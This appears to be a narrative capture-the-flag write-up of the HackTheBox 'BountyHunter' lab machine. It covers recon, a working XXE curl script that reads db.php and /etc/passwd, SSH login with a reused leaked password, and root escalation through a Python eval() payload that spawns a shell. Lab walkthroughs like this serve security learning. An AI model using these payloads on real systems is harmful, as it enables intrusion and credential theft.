HackTheBox Stumblethrough -- BountyHunter

08 Feb 2022

It’s late in the aftertoon – too early for dinner, but late enough for the cool breeze to give me shudders. The sun is hovering over the western horizon, threatening to dive under and find somewhere else to shine its rays on. Nobody bids it farewell – it’ll be back in the morning, just like all the other times.

I catch the last bit of my favorite angry music before booting up the Kali VM. It’s time to do some hackerman stuff.

Table of Contents

Recon

Nmap

$ sudo nmap -p- 10.10.11.100

I start the reconnaissance stage with an all-ports nmap scan. It quickly reveals that there are two ports open: 80 and 22. Maybe this is a simple webserver with SSH access for doing chores? I run a more detailed scan on the two ports:

$ sudo nmap -p 22,80 10.10.11.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 18:00 PST
Nmap scan report for 10.10.11.100
Host is up (0.076s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Detailed scan reveals nothing special. Apache 2.4 does have a number of vulnerabilities that might come in handy, so I make note of the version number before moving on.

Website

Navigating to the IP shows a fancy landing page with some links up on top. Portal in particular is interesting – it leads to a POST form that displays the field data as a neatly formatted preview thing.

I check Firefox’s debugger tab to see what’s powering the form. It’s a couple of functions defined in bountylog.js:

Well, it looks like bountySubmit() is parsing the form data as XML, base64’ing it, and then letting returnSecret() POST it to an obfuscated PHP script asynchronously.

I cast wget on the script’s URL for safekeeping. Maybe there’s an XXE opportunity to be had here and I might need to reference the code later.

Fuzzing

Speaking of obfuscated scripts, what else is buried in the site?

I run ffuf --help and look through the options, thinking about which flags to enable and which wordlist to use. After thinking things through, I type in the command I want, review it one more time, and send it through.

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
       -u http://10.10.11.100/FUZZ -e .php,.txt -ic

Streams of packets begin hurtling through the wires, bouncing off of nodes and making their way to the victim. Once there, they question and probe the server, making requests and delivering the responses back home.

I get up to turn the lights on and find something to drink while ffuf runs.

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.100/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Extensions       : .php .txt 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

.php                    [Status: 403, Size: 277, Words: 20, Lines: 10]
                        [Status: 200, Size: 25169, Words: 10028, Lines: 389]
index.php               [Status: 200, Size: 25169, Words: 10028, Lines: 389]
resources               [Status: 301, Size: 316, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]
css                     [Status: 301, Size: 310, Words: 20, Lines: 10]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
js                      [Status: 301, Size: 309, Words: 20, Lines: 10]
                        [Status: 200, Size: 25169, Words: 10028, Lines: 389]
.php                    [Status: 403, Size: 277, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]

A few minutes later, ffuf exits without any error.

The result is a bit shorter than I expected. db.php looks suspicious – navigating to it on the browser shows an empty page, which might mean that it’s a script of some sort.

I spend some time running ffuf on the directories as well: assets has an img folder and nothing else interesting. resources has a number of JavaScript files, but also a README file:

Sounds like there’s an unhashed password hidden somewhere on the site. Maybe there’s an unused MySQL instance? Could it be that db.php contains unhashed credentials? “Nopass” also sounds very interesting, but I don’t see any login pages from the ffuf result.

I spend about an hour or so poking around before running out of things to poke at. I’ll just have to move on to the next phase and hope that my scans have been thorough.

Initial Exploitation

Take One

I really want to know what’s inside db.php, so I decide to go for that first. With luck, it might contain unhashed passwords or other sensitive information. I don’t know where exactly db.php is in the filesystem, but I know that it’s in the domain’s root. I’ll have to use the php:// filter to get to it and exfiltrate it without allowing the server to render the script inside.

I reference the request being made in bountylog.js by the returnSecret() function:

function returnSecret(data) {
	return Promise.resolve($.ajax({
            type: "POST",
            data: {"data":data},
            url: "tracker_diRbPr00f314.php"
            }));
}

…and foolishly assume that the request is being made in JSON.

I write a quick XXE bash script for making a JSON POST request and save it as script.sh:

#!/usr/bin/env bash 

url='http://10.10.11.100/tracker_diRbPr00f314.php'
xml='<?xml  version="1.0" encoding="ISO-8859-1"?>
                <!DOCTYPE foo [
                        <!ENTITY fff SYSTEM "php://filter/read=convert.base64-encode/resource=db.php">]>
                <bugreport>
                <title>AAA</title>
                <cwe>BBB</cwe>
                <cvss>CCC</cvss>
                <reward>&fff;</reward>
                </bugreport>'
payload=$(echo -en $xml | base64 -w 0)

# Sanity check:
# echo $payload
curl -X POST $url -d '{"data": $payload }' -H 'Content-Type: application/json'

I run the script. Of course, it doesn’t work. All I get is a blank HTML table with all the fields missing:

$ ./script.sh
If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td></td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td></td>
  </tr>
  <tr>
    <td>Score:</td>
    <td></td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td></td>
  </tr>
</table>

I waste a few hours trying to debug and retry the script, wondering if I’ve misspelled something or if the payload is correct.

After countless attempts, I boot up BurpSuite to catch a valid POST request and see what exactly is being sent to the server. At this point, I suspect that there’s a weird referrer string check going on somewhere and I need to find a different route–

Wait, that’s not a JSON request.

I look over the bountylog.js code and realize my mistake. It’s the ajax() function call that requires a JSON parameter, not the request itself. On top of that, the intercepted request shows that the POST data is URL-encoded.

I pry open a beer bottle and take a swig. I turn off my Kali VM and listen to some angry music before resuming.

Take Two

I focus better when I’m angry, anyway. I furiously type away at the keyboard, fixing the script:

#!/usr/bin/env bash 

url='http://10.10.11.100/tracker_diRbPr00f314.php'
xml='<?xml  version="1.0" encoding="ISO-8859-1"?>
                <!DOCTYPE foo [
                        <!ENTITY fff SYSTEM "php://filter/read=convert.base64-encode/resource=db.php">]>
                <bugreport>
                <title>AAA</title>
                <cwe>BBB</cwe>
                <cvss>CCC</cvss>
                <reward>&fff;</reward>
                </bugreport>'
payload=$(echo -en $xml | base64 -w 0)
curl -X POST $url --data-urlencode "data=$payload"

Then, I execute it one last time:

$ ./script.sh
...SNIP...
    <td>Reward:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
</table>

A string of letters ending with = shows up. Jackpot. I decode the base64 string and retrieve a username and password:

$ echo 'PD9waHAKLy8g...SNIP...iOwo/Pgo=' | base64 -d
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>

Unfortunately, SSH’ing as admin with that password doesn’t work. Maybe there’s a valid user who reused that password? I modify the XXE script to grab /etc/passwd from the server by replacing the php://... filter with file:///etc/passwd, then run the script again:

$ ./passwd.sh 
If DB were ready, would have added:
<table>
  <tr>
	...SNIP...
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
</td>
  </tr>
</table>

development looks promising. It looks like a human-typed username with four-digit UID and with a login shell defined. Maybe development reused their password for SSH.

I take one more swig from the bottle and attempt to SSH to the server:

$ ssh development@10.10.11.100
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)
	...SNIP...
development@bountyhunter:~$ whoami
development

Yes, they definitely reused the password. I cast cat user.txt and submit the user flag.

Lateral Movement

First Stab

There’s nothing else of note in the home directory, except for contract.txt:

development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets 
completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of 
you gets on please have a look at the internal tool they sent over. There have been a handful of 
tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Permissions, huh? I spend some time looking around the filesystem and find ticketValidator.py and some test case files used for debugging the program…. but I don’t see any special permissions set for any of the files:

development@bountyhunter:~$ ls -lR /opt/skytrain_inc/
/opt/skytrain_inc/:
total 8
drwxr-xr-x 2 root root 4096 Jul 22  2021 invalid_tickets
-r-xr--r-- 1 root root 1471 Jul 22  2021 ticketValidator.py

/opt/skytrain_inc/invalid_tickets:
total 16
-r--r--r-- 1 root root 102 Jul 22  2021 390681613.md
-r--r--r-- 1 root root  86 Jul 22  2021 529582686.md
-r--r--r-- 1 root root  97 Jul 22  2021 600939065.md
-r--r--r-- 1 root root 101 Jul 22  2021 734485704.md

That’s strange. Maybe the note was referring to permissions for other files? I search for files with SUID set but only find the usual suspects:

development@bountyhunter:~$ find / -user root -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/su
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/mount
/usr/bin/passwd

I’m kind of stuck here. There’s nothing I can do to the script that’ll make it magically run itself as root. Even if I could, I can’t change the script since I don’t have write permission to it.

I glance at my wristwatch: both of its hands are pointing upwards-ish. I poke around a little more before calling it quits for the night.

Second Stab

I wake up early the next day and spend about an hour or so retreading my steps. Still nothing.

Frustrated, I look for a walkthrough on DuckDuckGo and click on the first result I see. I’m just wasting time learning nothing at this point, so might as well.

I scroll past the dozens of paragraphs and pictures. Things I did already. Slightly different way of figuring out the payload. I skim through most of it and get to the part where I’m stuck at.

I read the relevant paragraph on privilege escalation and grunt in disgust:

I forgor.

How could I have forgotten? I never checked the user’s sudoers. I angrily type out the command:

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

So that is what the README meant by the “disable nopass” statement. I can’t believe I missed this during the initial exploitation.

I take deep breaths, squeeze the stress ball, and close the guide. If there’s something funny going on with sudoers, then I don’t need to read the rest of the guide – that’s the keys to the kingdom right there.

I comb through ticketValidator.py, looking for any potential vulnerabilities. Even if I can’t edit it directly, there must be something that allows the script to run a command or fork a new process. Sure enough, there’s an interesting block of code nested inside evaluate() function:

if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))

There it is, an eval() call. If I had taken the time to look through this code last night, I would’ve gotten the suspicion that a sudoers weirdness was afoot. Oh well, what’s done is done.

I craft a Markdown payload for reading the system flag. The payload has to start with ** to pass the first if followed by a 4 to pass the second if. It also has to fly past Python’s eval() syntax checker. The system flag is probably under /root/flag.txt or /root/root.txt as per convention.

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**4+print(open("/root/root.txt").read())
##Issued: 2021/04/06
#End Ticket

I save the payload as /tmp/readflag.md and run the ticket script:

development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
/tmp/readflag.md
Destination: New Haven
53cea48e5eabed1d8dd14d5ee4a5ec16

Traceback (most recent call last):
  File "/opt/skytrain_inc/ticketValidator.py", line 52, in <module>
    main()
  File "/opt/skytrain_inc/ticketValidator.py", line 45, in main
    result = evaluate(ticket)
  File "/opt/skytrain_inc/ticketValidator.py", line 34, in evaluate
    validationNumber = eval(x.replace("**", ""))
  File "<string>", line 1, in <module>
TypeError: unsupported operand type(s) for +: 'int' and 'NoneType'

It crashes halfway through, but it doesn’t matter. It runs just long enough to get the root flag from the /root directory. I submit the flag and complete the box.

Extra Credit

I can read the root flag with this Python script. But I want to see if I can get root access.

I do a quick search on what’s allowed in eval() and come up with a new ticket payload:

# Skytrain Inc
## Ticket to New Haven
__Ticket Code:__
**4+__import__('pty').spawn('/bin/bash')
##Issued: 2021/04/06
#End Ticket

I double check the code. It can’t be this easy, right?

I save the payload as /tmp/sh.md and run the ticket script against it:

development@bountyhunter:~$ sudo python3.8 /opt/skytrain_inc/ticketValidator.py 
Please enter the path to the ticket file.
/tmp/sh.md
Destination: New Haven
root@bountyhunter:/home/development# id
uid=0(root) gid=0(root) groups=0(root)

Nice. I have root access.

Epilogue

development@bountyhunter:~$ exit
logout
Connection to 10.10.11.100 closed.
$ cd && mv ~/hack/bountyhunter ~/hack/.done/bountyhunter 

I exit out of the target machine and close everything down. The working folder, with all the payloads and digital loot, gets archived in a designated subdirectory, adding another box to my collection of completed hacks.

It feels slightly less than satisfying to have needed a hint from the guide near the end. I shove that unpleasant thought aside – it’s better to call for a tow truck than waste gas spinning wheels in the mud.

Lessons Learned

  1. Make some kind of a personal checklist for things to do when probing for local privilege escalation routes
  2. Intercept working requests and study them before trying to craft malicious ones
  3. Examine what you have thoroughly before giving up

 

← Return